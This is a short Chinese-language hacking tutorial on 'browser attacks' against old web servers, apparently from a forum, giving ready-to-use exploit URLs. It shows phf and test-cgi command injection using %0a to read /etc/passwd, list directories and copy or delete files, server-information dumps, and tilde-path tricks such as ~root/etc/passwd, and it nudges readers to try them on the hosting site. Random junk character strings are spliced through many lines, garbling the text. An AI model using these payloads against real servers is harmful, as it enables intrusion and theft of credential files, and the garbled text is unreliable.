瀏覽器攻擊

在本章我將講述一些利用瀏覽器來(lái)進(jìn)行攻擊的方法
1。大家都知道了phf攻擊了，phf是cgi script,很多站點(diǎn)都有這個(gè)大漏洞啦，使用
http://thegnome.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd指令可以拿到那個(gè)站點(diǎn)的passwd.但還有些更好的執(zhí)行方法呦如：
http://thegnome.com/cgi-bin/phf?%0aid&Qalias=&Qname=haqr&Qemail=&Qnickna
' k6 [8 ]2 U& r0 D  x3 h" ^
me=&Qoffice_phone=
& R' V- Y1 K$ P; @2 h  fhttp://thegnome.com/cgi-bin/phf?%0als%20-la%20%7Esomeuser&Qalias=&Qname=
7 u/ @7 z# u6 @7 phaqr&Qemail=&Qnickname=&Qoffice_phone=
3 p& P5 B4 T4 @  F' qhttp://thegnome.com/cgi-bin/phf?%0acp%20/etc/passwd%20%7Esomeuser/passwd
%0A&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone=
* j. {+ }$ W/ o7 {2 lhttp://thegnome.com/~someuser/passwd
http://thegnome.com/cgi-bin/phf?%0arm%20%7Esomeuser/passwd&Qalias=&Qname
" K( Q. ?/ H9 S6 p7 G
=haqr&Qemail=&Qnickname=&Qoffice_phone=
上面執(zhí)行的命令是
: h+ A( z* a  g# eid
ls -la ~someuser
cp /etc/passwd ~someuser/passwd
rm ~someuser/passwd
9 D9 y* S4 a4 c
2。有關(guān)test攻擊
* U# w. p' o& V2 K" {+ M; K. yhttp://thegnome.com/cgi-bin/test-cgi?\whatever
. D- _* [4 {% [1 F服務(wù)器會(huì)應(yīng)答，本服務(wù)器的一些情況如：
CGI/1.0 test script report:

argc is 0. argv is .
0 b) B3 i1 ]/ L: e
SERVER_SOFTWARE = NCSA/1.4B
SERVER_NAME = thegnome.com
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/1.0
SERVER_PORT = 80
REQUEST_METHOD = GET
+ w0 h# _- S( f% g1 e( F0 n* LHTTP_ACCEPT = text/plain, application/x-html, application/html,
text/html, text/x-html
) o, A" {8 y5 m+ iPATH_INFO =
& @; C0 s( \2 m, V4 @; Y3 n1 @PATH_TRANSLATED =
SCRIPT_NAME = /cgi-bin/test-cgi
& U* d7 F. F* ~$ b2 }; C9 KQUERY_STRING = whatever
REMOTE_HOST = fifth.column.gov
/ }) W; O7 C/ h  LREMOTE_ADDR = 200.200.200.200
& ?2 n1 C: e8 l, H& p4 AREMOTE_USER =
4 Q0 |: }3 z7 `0 w! g9 C+ N' iAUTH_TYPE =
0 x5 b% c2 f9 _$ qCONTENT_TYPE =
$ e8 K! M2 O7 P, K: Z8 v1 r$ ]- nCONTENT_LENGTH =
! ?$ O3 t' V( H, o0 c% p
# d4 t1 A+ C* i2 L5 X好吧，讓我們來(lái)點(diǎn)趕興趣的
http://thegnome.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd

3。~的應(yīng)用
~主要是用在很多的個(gè)人主頁(yè)上的快捷目錄的方法，如果我們使用這樣的~
http://thegnome.com/~root
http://thegnome.com/~root/etc/passwd
9 L# N) W. B2 L4 l& c4 D) M& \; O6 A( |不是在任何平臺(tái)上都通過(guò)呦，在BSD Apache上曾經(jīng)成功過(guò),當(dāng)然還可以試試~bin ,~etc,~uucp.....
  m7 x, v, _7 M1 t; F2 U看到這個(gè)站點(diǎn)了嗎，本站所在的這個(gè)站點(diǎn)就是用這種形式的，如果我們打入 本站所在的web地址/~bin
出現(xiàn)了什么，你看到了嗎？然后...............注意請(qǐng)不要破壞
  p* i* {; P' v9 [' U3 {
- ~! n0 U& Q2 v4 N& R" h" K